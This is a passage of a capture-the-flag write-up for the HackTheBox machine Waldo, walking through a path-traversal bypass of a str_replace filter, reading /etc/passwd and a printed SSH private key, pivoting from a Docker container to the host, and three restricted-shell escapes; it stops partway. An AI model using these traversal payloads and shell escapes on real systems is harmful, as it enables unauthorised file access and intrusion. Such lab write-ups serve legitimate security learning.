HackTheBox – Waldo

This box is currently not in TJ Null’s OSCP-similar HTB list, and I did it only because it taught Linux capabilities, which I encountered in Lightweight which was in the HTB list. I found that I liked Waldo much better and it seemed quite OSCP-like except for the sandbox escape which was quite tricky. The only problem with this box is that you can’t get a root shell, only read root.txt

Enumeration

Three ports are open, 22, 80 and 8888. 8888 is unusual, so examine that first.

TCP 8888

This gave no response whatsover, even to a GET request.

root@kali:~/CTF/HTB/Waldo# nc 10.10.10.87 8888
GET / HTTP/1.1
^C

Web 80

Landing page is this

Clicking on a list let us view and edit it.

Or we can simply add a list to make list3.

gobuster couldn’t work because non-existent directories got 302 redirected

root@Kali:~/HTB/Waldo# gobuster dir -u http://10.10.10.87 -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -x .php,.txt,.html,.conf,.bak,.sh,.pl,.cgi --timeout 40s -t 150 -k
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.87
[+] Threads:        150
[+] Wordlist:       /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php,txt,html,conf,bak,sh,pl,cgi
[+] Timeout:        40s
===============================================================
2020/11/21 17:41:08 Starting gobuster
===============================================================
Error: the server returns a status code that matches the provided options for non existing urls. http://10.10.10.87/2cf5c204-

LFI dirRead.php

But while doing the above operations on adding/editing lists I had proxied it through Burp to understand whats going on. There were various POST requests made to

  • dirRead.php
  • fileRead.php
  • fileWrite.php

A POST request to dirRead.php listed the lists. So I tried this in Burp and could read the directory.

POST /dirRead.php HTTP/1.1
Host: 10.10.10.87
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.87/list.html
Content-type: application/x-www-form-urlencoded
Content-Length: 7
Connection: close
Cache-Control: max-age=0

path=./

HTTP/1.1 200 OK
Server: nginx/1.12.2
Date: Sat, 21 Nov 2020 09:43:31 GMT
Content-Type: application/json
Connection: close
X-Powered-By: PHP/7.1.16
Content-Length: 155

[".","..",".list","background.jpg","cursor.png","dirRead.php","face.png","fileDelete.php","fileRead.php","fileWrite.php","index.php","list.html","list.js"]

However when I tried path=../../../../etc/ (I didn’t try /etc/passwd directly since that was for fileRead.php) I got

false

Similarly for other directories like /tmp which definitely exist. Trying to access the list directly in the url with http://10.10.10.87/.list/list1 just returns

403 Forbidden

LFI fileRead.php

I was however, able to read the PHP code for dirRead.php with

POST /fileRead.php HTTP/1.1
Host: 10.10.10.87
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.87/list.html
Content-type: application/x-www-form-urlencoded
Content-Length: 17
Connection: close

file=dirRead.php

HTTP/1.1 200 OK
Server: nginx/1.12.2
Date: Sat, 21 Nov 2020 16:36:27 GMT
Content-Type: application/json
Connection: close
X-Powered-By: PHP/7.1.16
Content-Length: 391

{"file":"<?php\n\nif($_SERVER['REQUEST_METHOD'] === \"POST\"){\n\tif(isset($_POST['path'])){\n\t\theader('Content-type: application\/json');\n\t\t$_POST['path'] = str_replace( array(\"..\/\", \"..\\\"\"), \"\", $_POST['path']);\n\t\techo json_encode(scandir(\"\/var\/www\/html\/\" . $_POST['path']));\n\t}else{\n\t\theader('Content-type: application\/json');\n\t\techo '[false]';\n\t}\n}\n"}

The response looks like its in JSON format, and I made the big initial mistake of trying to remove all the escape characters ‘\’ in vim with

  • :%s#\n#\r/g
  • :%s#\t#\t/g
  • :%s/\//g

Don’t do that. This led to a rabbit hole of my own making because the incorrectly decoded resulting code was impossible to bypass. Instead, note that json_encode() is used

json_encode(scandir(\"\/var\/www\/html\/\" . $_POST['path']));

which means that we should use the opposite json_decode() function. I later learned that IppSec used the even simpler jq command to decode the response (jq .file dirRead.php -r) But for myself I saved the response body containing the PHP code in .php files and used this script to decode them

#!/usr/bin/env php
# decode_php.php
<?php

$filename = $argv[1];

$data = file_get_contents($filename);
$code = json_decode($data);

print_r($code->file);

I could now read the json-encoded code in dirRead.php with this

root@Kali:~/HTB/Waldo/LFI# ./decode_php.php dirRead.php

<?php

if($_SERVER['REQUEST_METHOD'] === "POST"){
        if(isset($_POST['path'])){
                header('Content-type: application/json');
                $_POST['path'] = str_replace( array("../", "..\""), "", $_POST['path']);
                echo json_encode(scandir("/var/www/html/" . $_POST['path']));
        }else{
                header('Content-type: application/json');
                echo '[false]';
        }
}

Bypassing str_replace()

POST input to dirRead.php can sanitised with str_replace() which in this case replaces

../
.."

with nothing. But this works just once. In both natas25 and SkyTower this is similarly the case and we can replace ../ with .(../)./ (ignore the brackets and when those are replaced we get just ../

We can test the code with php interactive shell to see it gives us the directory traversal.

php > echo str_replace( array("../", "..\""), "", '..././');
../

and we can do this to get to directory /

path=..././..././..././..././

which then shows

[".","..",".dockerenv","bin","dev","etc","home","lib","media","mnt","proc","root","run","sbin","srv","sys","tmp","usr","var"]

fileRead.php has very similar code and we can read /etc/passwd with

file=..././..././..././..././etc/passwd

This returns

{"file":"root:x:0:0:root:\/root:\/bin\/ash\nbin:x:1:1:bin:\/bin:\/sbin\/nologin\ndaemon:x:2:2:daemon:\/sbin:\/sbin\/nologin\nadm:x:3:4:adm:\/var\/adm:\/sbin\/nologin\nlp:x:4:7:lp:\/var\/spool\/lpd:\/sbin\/nologin\nsync:x:5:0:sync:\/sbin:\/bin\/sync\nshutdown:x:6:0:shutdown:\/sbin:\/sbin\/shutdown\nhalt:x:7:0:halt:\/sbin:\/sbin\/halt\nmail:x:8:12:mail:\/var\/spool\/mail:\/sbin\/nologin\nnews:x:9:13:news:\/usr\/lib\/news:\/sbin\/nologin\nuucp:x:10:14:uucp:\/var\/spool\/uucppublic:\/sbin\/nologin\noperator:x:11:0:operator:\/root:\/bin\/sh\nman:x:13:15:man:\/usr\/man:\/sbin\/nologin\npostmaster:x:14:12:postmaster:\/var\/spool\/mail:\/sbin\/nologin\ncron:x:16:16:cron:\/var\/spool\/cron:\/sbin\/nologin\nftp:x:21:21::\/var\/lib\/ftp:\/sbin\/nologin\nsshd:x:22:22:sshd:\/dev\/null:\/sbin\/nologin\nat:x:25:25:at:\/var\/spool\/cron\/atjobs:\/sbin\/nologin\nsquid:x:31:31:Squid:\/var\/cache\/squid:\/sbin\/nologin\nxfs:x:33:33:X Font Server:\/etc\/X11\/fs:\/sbin\/nologin\ngames:x:35:35:games:\/usr\/games:\/sbin\/nologin\npostgres:x:70:70::\/var\/lib\/postgresql:\/bin\/sh\ncyrus:x:85:12::\/usr\/cyrus:\/sbin\/nologin\nvpopmail:x:89:89::\/var\/vpopmail:\/sbin\/nologin\nntp:x:123:123:NTP:\/var\/empty:\/sbin\/nologin\nsmmsp:x:209:209:smmsp:\/var\/spool\/mqueue:\/sbin\/nologin\nguest:x:405:100:guest:\/dev\/null:\/sbin\/nologin\nnobody:x:65534:65534:nobody:\/home\/nobody:\/bin\/sh\nnginx:x:100:101:nginx:\/var\/lib\/nginx:\/sbin\/nologin\n"}

which when decoded

root@Kali:~/HTB/Waldo/LFI# ./decode_php.php passwd

root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/bin/sh
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
postgres:x:70:70::/var/lib/postgresql:/bin/sh
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/home/nobody:/bin/sh
nginx:x:100:101:nginx:/var/lib/nginx:/sbin/nologin

Enumerating dirs

I did this to enumerate the /home directory with dirRead.php

path=..././..././..././..././home

and this showed

[".","..",".ash_history",".ssh",".viminfo","user.txt"]

Looking at dir .ssh/ we see

path=..././..././..././..././home/nobody/.ssh

[".","..",".monitor","authorized_keys","known_hosts"]

We can’t read .monitor

path=..././..././..././..././home/nobody/.ssh/.monitor

which returns false. This implies its a file instead. So I switched to fileRead.php and got this

POST /fileRead.php HTTP/1.1
Host: 10.10.10.87
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.87/list.html
Content-type: application/x-www-form-urlencoded
Content-Length: 54
Connection: close

file=..././..././..././..././home/nobody/.ssh/.monitor

HTTP/1.1 200 OK
Server: nginx/1.12.2
Date: Sat, 21 Nov 2020 17:15:16 GMT
Content-Type: application/json
Connection: close
X-Powered-By: PHP/7.1.16
Content-Length: 1741

{"file":"-----BEGIN RSA PRIVATE KEY-----\nMIIEogIBAAKCAQEAs7sytDE++NHaWB9e+NN3V5t1DP1TYHc+4o8D362l5Nwf6Cpl\nmR4JH6n4Nccdm1ZU+qB77li8ZOvymBtIEY4Fm07X4Pqt4zeNBfqKWkOcyV1TLW6f\n87s0FZBhYAizGrNNeLLhB1IZIjpDVJUbSXG6s2cxAle14cj+pnEiRTsyMiq1nJCS\ndGCc\/gNpW\/AANIN4vW9KslLqiAEDJfchY55sCJ5162Y9+I1xzqF8e9b12wVXirvN\no8PLGnFJVw6SHhmPJsue9vjAIeH+n+5Xkbc8\/6pceowqs9ujRkNzH9T1lJq4Fx1V\nvi93Daq3bZ3dhIIWaWafmqzg+jSThSWOIwR73wIDAQABAoIBADHwl\/wdmuPEW6kU\nvmzhRU3gcjuzwBET0TNejbL\/KxNWXr9B2I0dHWfg8Ijw1Lcu29nv8b+ehGp+bR\/6\npKHMFp66350xylNSQishHIRMOSpydgQvst4kbCp5vbTTdgC7RZF+EqzYEQfDrKW5\n8KUNptTmnWWLPYyJLsjMsrsN4bqyT3vrkTykJ9iGU2RrKGxrndCAC9exgruevj3q\n1h+7o8kGEpmKnEOgUgEJrN69hxYHfbeJ0Wlll8Wort9yummox\/05qoOBL4kQxUM7\nVxI2Ywu46+QTzTMeOKJoyLCGLyxDkg5ONdfDPBW3w8O6UlVfkv467M3ZB5ye8GeS\ndVa3yLECgYEA7jk51MvUGSIFF6GkXsNb\/w2cZGe9TiXBWUqWEEig0bmQQVx2ZWWO\nv0og0X\/iROXAcp6Z9WGpIc6FhVgJd\/4bNlTR+A\/lWQwFt1b6l03xdsyaIyIWi9xr\nxsb2sLNWP56A\/5TWTpOkfDbGCQrqHvukWSHlYFOzgQa0ZtMnV71ykH0CgYEAwSSY\nqFfdAWrvVZjp26Yf\/jnZavLCAC5hmho7eX5isCVcX86MHqpEYAFCecZN2dFFoPqI\nyzHzgb9N6Z01YUEKqrknO3tA6JYJ9ojaMF8GZWvUtPzN41ksnD4MwETBEd4bUaH1\n\/pAcw\/+\/oYsh4BwkKnVHkNw36c+WmNoaX1FWqIsCgYBYw\/IMnLa3drm3CIAa32iU\nLRotP4qGaAMXpncsMiPage6CrFVhiuoZ1SFNbv189q8zBm4PxQgklLOj8B33HDQ\/\nlnN2n1WyTIyEuGA\/qMdkoPB+TuFf1A5EzzZ0uR5WLlWa5nbEaLdNoYtBK1P5n4Kp\nw7uYnRex6DGobt2mD+10cQKBgGVQlyune20k9QsHvZTU3e9z1RL+6LlDmztFC3G9\n1HLmBkDTjjj\/xAJAZuiOF4Rs\/INnKJ6+QygKfApRxxCPF9NacLQJAZGAMxW50AqT\nrj1BhUCzZCUgQABtpC6vYj\/HLLlzpiC05AIEhDdvToPK\/0WuY64fds0VccAYmMDr\nX\/PlAoGAS6UhbCm5TWZhtL\/hdprOfar3QkXwZ5xvaykB90XgIps5CwUGCCsvwQf2\nDvVny8gKbM\/OenwHnTlwRTEj5qdeAM40oj\/mwCDc6kpV1lJXrW2R5mCH9zgbNFla\nW0iKCBUAm5xZgU\/YskMsCBMNmA8A5ndRWGFEFE+VGDVPaRie0ro=\n-----END RSA PRIVATE KEY-----\n"}

Exploitation – SSH as nobody

This can be decoded to give a private key and since it’s in nobody’s /home dir I tried this and got in

root@Kali:~/HTB/Waldo/LFI# ./decode_php.php .monitor

-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAs7sytDE++NHaWB9e+NN3V5t1DP1TYHc+4o8D362l5Nwf6Cpl
mR4JH6n4Nccdm1ZU+qB77li8ZOvymBtIEY4Fm07X4Pqt4zeNBfqKWkOcyV1TLW6f
87s0FZBhYAizGrNNeLLhB1IZIjpDVJUbSXG6s2cxAle14cj+pnEiRTsyMiq1nJCS
dGCc/gNpW/AANIN4vW9KslLqiAEDJfchY55sCJ5162Y9+I1xzqF8e9b12wVXirvN
o8PLGnFJVw6SHhmPJsue9vjAIeH+n+5Xkbc8/6pceowqs9ujRkNzH9T1lJq4Fx1V
vi93Daq3bZ3dhIIWaWafmqzg+jSThSWOIwR73wIDAQABAoIBADHwl/wdmuPEW6kU
vmzhRU3gcjuzwBET0TNejbL/KxNWXr9B2I0dHWfg8Ijw1Lcu29nv8b+ehGp+bR/6
pKHMFp66350xylNSQishHIRMOSpydgQvst4kbCp5vbTTdgC7RZF+EqzYEQfDrKW5
8KUNptTmnWWLPYyJLsjMsrsN4bqyT3vrkTykJ9iGU2RrKGxrndCAC9exgruevj3q
1h+7o8kGEpmKnEOgUgEJrN69hxYHfbeJ0Wlll8Wort9yummox/05qoOBL4kQxUM7
VxI2Ywu46+QTzTMeOKJoyLCGLyxDkg5ONdfDPBW3w8O6UlVfkv467M3ZB5ye8GeS
dVa3yLECgYEA7jk51MvUGSIFF6GkXsNb/w2cZGe9TiXBWUqWEEig0bmQQVx2ZWWO
v0og0X/iROXAcp6Z9WGpIc6FhVgJd/4bNlTR+A/lWQwFt1b6l03xdsyaIyIWi9xr
xsb2sLNWP56A/5TWTpOkfDbGCQrqHvukWSHlYFOzgQa0ZtMnV71ykH0CgYEAwSSY
qFfdAWrvVZjp26Yf/jnZavLCAC5hmho7eX5isCVcX86MHqpEYAFCecZN2dFFoPqI
yzHzgb9N6Z01YUEKqrknO3tA6JYJ9ojaMF8GZWvUtPzN41ksnD4MwETBEd4bUaH1
/pAcw/+/oYsh4BwkKnVHkNw36c+WmNoaX1FWqIsCgYBYw/IMnLa3drm3CIAa32iU
LRotP4qGaAMXpncsMiPage6CrFVhiuoZ1SFNbv189q8zBm4PxQgklLOj8B33HDQ/
lnN2n1WyTIyEuGA/qMdkoPB+TuFf1A5EzzZ0uR5WLlWa5nbEaLdNoYtBK1P5n4Kp
w7uYnRex6DGobt2mD+10cQKBgGVQlyune20k9QsHvZTU3e9z1RL+6LlDmztFC3G9
1HLmBkDTjjj/xAJAZuiOF4Rs/INnKJ6+QygKfApRxxCPF9NacLQJAZGAMxW50AqT
rj1BhUCzZCUgQABtpC6vYj/HLLlzpiC05AIEhDdvToPK/0WuY64fds0VccAYmMDr
X/PlAoGAS6UhbCm5TWZhtL/hdprOfar3QkXwZ5xvaykB90XgIps5CwUGCCsvwQf2
DvVny8gKbM/OenwHnTlwRTEj5qdeAM40oj/mwCDc6kpV1lJXrW2R5mCH9zgbNFla
W0iKCBUAm5xZgU/YskMsCBMNmA8A5ndRWGFEFE+VGDVPaRie0ro=
-----END RSA PRIVATE KEY-----


root@Kali:~/HTB/Waldo# chmod 0600 .monitor_key
root@Kali:~/HTB/Waldo# ssh -i .monitor_key nobody@10.10.10.87
load pubkey ".monitor_key": invalid format
Welcome to Alpine!

The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See .
waldo:~$

Post-exploitation – Container enumeration as nobody

I ran linpeas since lse doesn’t work with /bin/sh (Alpine). This tells us we are in a container and not the docker host.

[+] Is this a container? ........... Looks like we're in a Docker container

user.txt is readable in /home. Let’s look for a way to break out of this container. I spied ports TCP 8888 and 9000 listening, and 8888 was visible from outside as filtered. Forwarded back to Kali for study but this went nowhere. Now the interesting thing is that even though we SSH in as user nobody, we’re not connected on port 22 but rather 8888.

waldo:~$ netstat -ant
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:8888            0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.1:9000          0.0.0.0:*               LISTEN
tcp        0    316 10.10.10.87:8888        10.10.14.78:34158       ESTABLISHED
tcp        0      0 :::80                   :::*                    LISTEN
tcp        0      0 :::22                   :::*                    LISTEN
tcp        0      0 :::8888                 :::*                    LISTEN

The container or host is still listening on 22 though, strangely. We can check /etc/ssh/sshd_config to find that its curiously listening on 8888, which we are connected on and only user nobody is allowed to login.

Port 8888

AllowUsers nobody

ifconfig tells us the container is listening on two interfaces, the machine’s IP and the docker0 interface which is odd, since typically containers would only listen on its own Class B interface

waldo:~$ ifconfig
docker0   Link encap:Ethernet  HWaddr 02:42:9A:A0:D9:CC
          inet addr:172.17.0.1  Bcast:172.17.255.255  Mask:255.255.0.0
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

ens33     Link encap:Ethernet  HWaddr 00:50:56:B9:27:21
          inet addr:10.10.10.87  Bcast:10.10.10.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:134809 errors:0 dropped:65 overruns:0 frame:0
          TX packets:188608 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:19764310 (18.8 MiB)  TX bytes:60200543 (57.4 MiB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:639640 errors:0 dropped:0 overruns:0 frame:0
          TX packets:639640 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1
          RX bytes:79897824 (76.1 MiB)  TX bytes:79897824 (76.1 MiB)

Unfortunately as I discovered later, since there’s no way to get a root shell I couldn’t investigate how the docker network settings were configured. SSH is listening on port 8888 not 22. Since we are in a container, it appears that SSHing to 10.10.10.87:22 got redirected to container:8888. But I wasn’t able to SSH to 8888

waldo:~/.ssh$ ssh -i .monitor -p 8888 nobody@10.10.10.87
ssh: connect to host 10.10.10.87 port 8888: Operation timed out
waldo:~/.ssh$ ssh -p 8888 -i .monitor nobody@localhost
ssh: connect to host localhost port 8888: Address not available
waldo:~/.ssh$ ssh -p 8888 -i .monitor nobody@172.17.0.1
ssh: connect to host 172.17.0.1 port 8888: Operation timed out

Also note that the OpenSSH version is different from Kali and from within the container, implying they are to different SSH servers and thereby hosts.

root@kali:~/CTF/HTB/Waldo# nc 10.10.10.87 22
SSH-2.0-OpenSSH_7.5

waldo:~$ nc 10.10.10.87 22
SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u3
^Cpunt!

An examination of authorized_keys in ~/.ssh showed the username monitor, implying the keys were actually for a user named monitor.

waldo:~/.ssh$ cat authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzuzK0MT740dpYH17403dXm3UM/VNgdz7ijwPfraXk3B/oKmWZHgkfqfg1xx2bVlT6oHvuWLxk6/KYG0gRjgWbTtfg+q3jN40F+opaQ5zJXVMtbp/zuzQVkGFgCLMas014suEHUhkiOkNUlRtJcbqzZzECV7XhyP6mcSJFOzIyKrWckJJ0YJz+A2lb8AA0g3i9b0qyUuqIAQMl9yFjnmwInnXrZj34jXHOoXx71vXbBVeKu82jw8sacUlXDpIeGY8my572+MAh4f6f7leRtzz/qlx6jCqz26NGQ3Mf1PWUmrgXHVW+L3cNqrdtnd2EghZpZp+arOD6NJOFJY4jBHvf monitor@waldo

Container escape to monitor

Using the same private SSH key, I was able to SSH to the docker host as monitor, but got stuck in rbash

waldo:~/.ssh$ ssh -i .monitor monitor@10.10.10.87
Linux waldo 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1 (2018-04-29) x86_64
           &.
          @@@,@@/ %
       #*/%@@@@/.&@@,
   @@@#@@#&@#&#&@@@,*%/
   /@@@&###########@@&*(*
 (@################%@@@@@.     /**
 @@@@&#############%@@@@@@@@@@@@@@@@@@@@@@@@%((/
 %@@@@%##########&@@@....                 .#%#@@@@@@@#
 @@&%#########@@@@/                        */@@@%(((@@@%
    @@@#%@@%@@@,                       *&@@@&%(((#((((@@(
     /(@@@@@@@                     *&@@@@%((((((((((((#@@(
       %/#@@@/@ @#/@          ..@@@@%(((((((((((#((#@@@@@@@@@@@@&#,
          %@*(@#%@.,       /@@@@&(((((((((((((((&@@@@@@&#######%%@@@@#    &
        *@@@@@#        .&@@@#(((#(#((((((((#%@@@@@%###&@@@@@@@@@&%##&@@@@@@/
       /@@          #@@@&#(((((((((((#((@@@@@%%%%@@@@%#########%&@@@@@@@@&
      *@@      *%@@@@#((((((((((((((#@@@@@@@@@@%####%@@@@@@@@@@@@###&@@@@@@@&
      %@/ .&%@@%#(((((((((((((((#@@@@@@@&#####%@@@%#############%@@@&%##&@@/
      @@@@@@%(((((((((((##(((@@@@&%####%@@@%#####&@@@@@@@@@@@@@@@&##&@@@@@@@@@/
     @@@&(((#((((((((((((#@@@@@&@@@@######@@@###################&@@@&#####%@@*
     @@#(((((((((((((#@@@@%&@@.,,.*@@@%#####@@@@@@@@@@@@@@@@@@@%####%@@@@@@@@@@
     *@@%((((((((#@@@@@@@%#&@@,,.,,.&@@@#####################%@@@@@@%######&@@.
       @@@#(#&@@@@@&##&@@@&#@@/,,,,,,,,@@@&######&@@@@@@@@&&%######%@@@@@@@@@@@
        @@@@@@&%&@@@%#&@%%@@@@/,,,,,,,,,,/@@@@@@@#/,,.*&@@%&@@@@@@&%#####%@@@@.
          .@@@###&@@@%%@(,,,%@&,.,,,,,,,,,,,,,.*&@@@@&(,*@&#@%%@@@@@@@@@@@@*
            @@%##%@@/@@@%/@@@@@@@@@#,,,,.../@@@@@%#%&@@@@(&@&@&@@@@(
            .@@&##@@,,/@@@@&(.  .&@@@&,,,.&@@/         #@@%@@@@@&@@@/
           *@@@@@&@@.*@@@          %@@@*,&@@            *@@@@@&.#/,@/
          *@@&*#@@@@@@@&     #@(    .@@@@@@&    ,@@@,    @@@@@(,@/@@
          *@@/@#.#@@@@@/    %@@@,   .@@&%@@@     &@&     @@*@@*(@@#
           (@@/@,,@@&@@@            &@@,,(@@&          .@@%/@@,@@
             /@@@*,@@,@@@*         @@@,,,,,@@@@.     *@@@%,@@**@#
               %@@.%@&,(@@@@,  /&@@@@,,,,,,,%@@@@@@@@@@%,,*@@,#@,
                ,@@,&@,,,,(@@@@@@@(,,,,,.,,,,,,,,**,,,,,,.*@/,&@
                 &@,*@@.,,,,,..,,,,&@@%/**/@@*,,,,,&(.,,,.@@,,@@
                 /@%,&@/,,,,/@%,,,,,*&@@@@@#.,,,,,.@@@(,,(@@@@@(
                  @@*,@@,,,#@@@&*..,,,,,,,,,,,,/@@@@,*(,,&@/#*
                  *@@@@@(,,@*,%@@@@@@@&&#%@@@@@@@/,,,,,,,@@
                       @@*,,,,,,,,,.*/(//*,..,,,,,,,,,,,&@,
                        @@,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@
                        &@&,,,,,,,,,,,,,,,,,,,,,,,,,,,,&@#
                         %@(,,,,,,,,,,,,,,,,,,,,,,,,,,,@@
                         ,@@,,,,,,,,@@@&&&%&@,,,,,..,,@@,
                          *@@,,,,,,,.,****,..,,,,,,,,&@@
                           (@(,,,.,,,,,,,,,,,,,,.,,,/@@
                           .@@,,,,,,,,,,,,,...,,,,,,@@
                            ,@@@,,,,,,,,,,,,,,,,.(@@@
                              %@@@@&(,,,,*(#&@@@@@@,

                            Here's Waldo, where's root?
Last login: Sat Nov 21 13:21:58 2020 from 10.10.10.87
-rbash: alias: command not found
monitor@waldo:~$
monitor@waldo:~$ echo $0
-rbash

Escaping rbash

There are three ways to escape rbash. Before that let’s examine the commands available to us found in bin/

monitor@waldo:~$ ls -lah bin/
total 8.0K
dr-xr-x--- 2 root monitor 4.0K May  3  2018 .
drwxr-x--- 5 root monitor 4.0K Jul 24  2018 ..
lrwxrwxrwx 1 root root       7 May  3  2018 ls -> /bin/ls
lrwxrwxrwx 1 root root      13 May  3  2018 most -> /usr/bin/most
lrwxrwxrwx 1 root root       7 May  3  2018 red -> /bin/ed
lrwxrwxrwx 1 root root       9 May  3  2018 rnano -> /bin/nano

1 – Running a copied bash from inside rbash (Intended)

To escape rbash, we need to change our shell to bash, but since bash is not in the list of allowed binaries we can’t run /bin/bash directly. Nor can we copy it to a folder which we can run since we don’t have access to cp (or even cd!)

We do have nano and ed (rather than the restricted versions of these rnano and red), the latter being some kind of rarely used text editor. We can use it to copy /bin/bash to a place where we can execute it and thereby escape rbash. But note that ed being a text editor saves files with rw perms (no executable rights) and we can’t chmod +x that (cmd unavailable) so our best bet is to overwrite an existing executable file and that happens to to be logMonitor in app-dev/

monitor@waldo:~$ ls -lah
total 40K
drwxr-x--- 5 root    monitor 4.0K Jul 24  2018 .
drwxr-xr-x 5 root    root    4.0K May  3  2018 ..
drwxrwx--- 3 app-dev monitor 4.0K Nov 22 12:27 app-dev
lrwxrwxrwx 1 root    root       9 Jul 24  2018 .bash_history -> /dev/null
-r--r----- 1 root    monitor   15 May  3  2018 .bash_login
-r--r----- 1 root    monitor   15 May  3  2018 .bash_logout
-r--r----- 1 root    monitor   15 May  3  2018 .bash_profile
-r--r----- 1 root    monitor 3.6K May  3  2018 .bashrc
dr-xr-x--- 2 root    monitor 4.0K May  3  2018 bin
-r--r----- 1 root    monitor   15 May  3  2018 .profile
dr-x------ 2 monitor monitor 4.0K May  3  2018 .ssh
monitor@waldo:~$ ls -lah app-dev/
total 2.2M
drwxrwx--- 3 app-dev monitor 4.0K Nov 22 12:27 .
drwxr-x--- 5 root    monitor 4.0K Jul 24  2018 ..
-rwxrwx--- 1 app-dev monitor  14K Nov 22 12:27 logMonitor
-r--r----- 1 app-dev monitor  14K May  3  2018 logMonitor.bak
-rw-rw---- 1 app-dev monitor 2.7K May  3  2018 logMonitor.c
-rw-rw---- 1 app-dev monitor  488 May  3  2018 logMonitor.h
-rw-rw---- 1 app-dev monitor 2.2M May  3  2018 logMonitor.h.gch
-rw-rw---- 1 app-dev monitor 6.7K May  3  2018 logMonitor.o
-rwxr----- 1 app-dev monitor  266 May  3  2018 makefile
-r-xr-x--- 1 app-dev monitor  795 May  3  2018 .restrictScript.sh
drwxr-x--- 2 app-dev monitor 4.0K May  3  2018 v0.1

Copy bash by first opening it as an argument to ed

monitor@waldo:~$ red /bin/bash
1099016
w app-dev/logMonitor
1099016
monitor@waldo:~$ app-dev/logMonitor
-rbash: app-dev/logMonitor: restricted: cannot specify `/' in command names

We appear to be stuck here, since we can’t specify the slash to run logMonitor but note that our $PATH already includes that so we can run it directly

monitor@waldo:~$ echo $PATH
/home/monitor/bin:/home/monitor/app-dev:/home/monitor/app-dev/v0.1
monitor@waldo:~$ logMonitor
tmp.I58YipCkrz: dircolors: command not found
monitor@waldo:~$ cd /home
monitor@waldo:/home$

Now all that remains is to modify the $PATH to include the standard linux /bin directories so we can run all the commands.

monitor@waldo:~$ export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
monitor@waldo:~$ id
uid=1001(monitor) gid=1001(monitor) groups=1001(monitor)

2 – Shell escape from ed

This appears to be unintended, if comments on IppSec’s video are accurate. We can escape easily with the exclamation mark

monitor@waldo:~$ red
!/bin/bash
bash: dircolors: command not found
monitor@waldo:~$ cd ..
monitor@waldo:/home$

and set the path so we can commands.

3 – SSH ignore bashrc

The easiest way to escape is not to run rbash upon login but instead to run bash, skip bash_profiles and bashrc files as done here.

waldo:~/.ssh$ ssh -i .monitor monitor@10.10.10.87 -t "bash --noprofile --norc"
bash-4.4$ id
uid=1001(monitor) gid=1001(monitor) groups=1001(monitor)

If your curious what “-t” does, it forces a tty allocation, which some programs require to work when run on SSH. Here’s an explanation of what a pseudo-terminal (pty) is. We get an undecorated bash shell which doesn’t tell us the current user, working directory but this can be fixed easily. Checking out /etc/passwd we see that the user is assigned rbash on login.

monitor@waldo ~ $ getent passwd | grep monitor
